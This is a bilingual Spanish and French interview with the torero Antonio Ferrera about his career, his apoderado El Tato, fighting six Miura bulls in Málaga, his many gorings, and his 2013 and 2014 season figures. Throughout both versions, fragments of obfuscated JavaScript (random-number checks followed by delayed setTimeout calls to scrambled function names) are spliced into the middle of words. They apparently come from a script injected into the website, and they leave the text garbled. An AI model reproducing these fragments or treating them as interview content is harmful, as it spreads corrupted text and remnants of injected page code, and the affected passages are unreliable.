ENTREVISTA CON ANTONIO FERRERAINTERVIEW AVEC ANTONIO FERRERA

El torero extremeño ha vivido todo tipo de situaciones a lo largo de su dilatada carrera, pero el verdadero reconocimiento, por parte de la crítica, de los aficionados y del público, le ha llegado ahora. Empezamos hablandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando con Antonio sobre lo que esto significa para él.

Me da sobre todo ganas de seguir el camino que me he trazado. La experiencia es un aliado, me ha permitido llegar a ser un toreo mucho mas puro et vivir plenamente de lo que me hace ser feliz, que es torear.

Dicen que eres inoxidable. Yo creo que hay que buscar dentro de si mismo lo que uno quiere ser sabiendo lo que es. La vida está hecha de altibajos, hay que aceptarlos y aprender de ellos. Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando estás bien contigo mismo no se nota la oxidación, al menos eso intentas. La experiencia te abre nuevas perspectivas.

¿Qué te ha aportado un torero como “El Tato”, tu apoderado?

Se aprende mucho hablandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando y viendo, incluso con toreros debutantes. El Tato es una figura en esto, ha triunfado en las plazas mas importantes y obviamente me aporta mucho.

Te enfrentas ahora a todo tipo de ganaderias. ¿Lo habeis elegido asi?

En ciertos momentos de mi carrera era el mercado el que lo dictaba, pero ya no es el caso. Siempre he pensado que para evolucionar, para crecer, hay que conocer al toro en toda su variedad, su complejidad según el encaste y su propio comportamiento. Para mi es un desafio permanente.

Por qué elegiste enfrentarte a seis toros de Miura en Malaga?

Primero por razones personales, familiares, pero también porque es una plaza en la que he sentido el toreo de una forma muy especial. Todos tenemos sueños, algunos mas dificiles de alcanzar que otros, y en carrera como torero hay momentos que marcan como mi encerrona con los seis de Victorino. Quería hacerlo con los Miuras porque sentía esa necesidad en mi, para seguir forjandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando mi historia.

Abrir plaza, como lo haces ahora a menudo, ¿es una dificultad suplementaria?

No hay que pensar demasiado en ello y, como dicen, la primera vela es la que alumbra.

Eres el torero de nuestro tiempo mas castigado por los toros, con mas de cuarenta cornadas. ¿De donde sacas esa fuerza para sobreponerte?

Te viene del corazón, de la entrega. No se olvida uno de las heridas, no se las puede uno tomar a la ligera, es algo fuerte, doloroso, pero practicamente todas las cornadas fueron en dias de triunfo. Hay que aceptarlas con la mayor naturalidad posible, como algo que te pasa cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando eres torero, pero sobre todo hay que amar lo que haces por encima de todo.

Antonio Ferrera nació el 19 de febrero de 1977 en Ibiza.

Alternativa: 2 de marzo de 1997 en Olivenza.

Apoderado: Raul Gracia “El Tato”

Temporada 2013: 38 corridas, 54 orejas y 3 rabos.

Temporada 2014 a 1 de septiembre: 28 corridas, 29 orejas y 1 rabo.

Interview avec Antonio Ferrera.

 « Aimer le toreo par-dessus-tout » Après de nombreux aléas dans sa carrière, il a la reconnaissance du public, des journalistes mais aussi de ses pairs. Qu’est-ce que cela signifie pour lui ?

Cela me donne surtout envie de continuer sur la route que je me suis tracée. L’expérience, le temps, sont des alliés qui m’ont permis d’épurer ma tauromachie et de vivre pleinement ce qui me rend heureux : être torero.

On te dit inoxydable. Je crois qu’il faut chercher au fond de soi même qui l’on veut être en sachant qui l’on est. La vie est faite de hauts et de bas, il faut les accepter et en tirer des leçons. Tu te retrouves de plus en plus en accord avec toi-même et l’oxydation n’apparaît pas, ou du moins tu l’essayes. L’expérience t’ouvre de nouvelles perspectives.

Que t’apporte un torero comme « El Tato », ton apoderado ? Il y a toujours des échanges entre toreros, même avec des toreros débutants tu peux apprendre quelque chose. El Tato est reconnu dans ce métier, il a connu de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands succès et évidemment nous parlons beaucoup toros entre nous.

Tu es souvent à l’affiche avec toutes sortes de ganaderias. Est-un choix de votre part ? A certains moments de ma carrière c’était le marché qui dictait mes choix, mais ce n’est plus le cas. J’ai toujours pensé que pour évoluer, pour grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir, il faut connaître le toro dans toutes ses variantes, avec toutes ses spécificités suivant ses encastes et ses comportements. C’est pour moi un défi permanent.

Pourquoi as-tu affronté à Malaga seul six toros à Malaga ? D’abord pour des raisons personnelles, familiales, mais aussi parce que ce sont des arènes où j’ai ressenti le toreo d’une façon très spéciale. On a tous des rêves, certains plus difficiles à atteindre que d’autres, et dans ma carrière de torero il y a des moments marquants comme mon solo avec les six Victorino. Je voulais le faire avec les Miura parce que je ressentais ce besoin en moi, pour continuer à bâtir mon histoire.

Passer en premier est-ce une difficulté supplémentaire ? Il ne faut pas trop y penser et, comme l’on dit, c’est le premier cierge celui qui éclaire.

Tu es le torero actuel le plus châtié de tous, avec plus de quarante coups de corne. D’où te vient la force pour surmonter toutes ces épreuves ? Elle te vient du coeur, de ton engagement. On n’oublie pas les blessures, on ne peut pas les prendre à la légère, c’est quelque chose de fort, de douloureux, mais pratiquement tous ces coups de corne c’était des jours de triomphe. On doit les accepter le plus naturellement possible, comme quelque chose d’inhérent à ce métier, et il faut surtout aimer ce que l’on fait par-dessus-tout.

 Antonio Ferrera est né le 19 février 1977 à Ibiza

Alternative: 2 mars 1997 à Olivenza.

Apoderado: Raul Gracia “El Tato”.

Temporada 2013: 38 corridas, 54 oreilles et 3 queues.

Temporada 2014 au 1er septembre  : 28 corridas, 29 oreilles et 1 queue

Les commentaires sont fermés.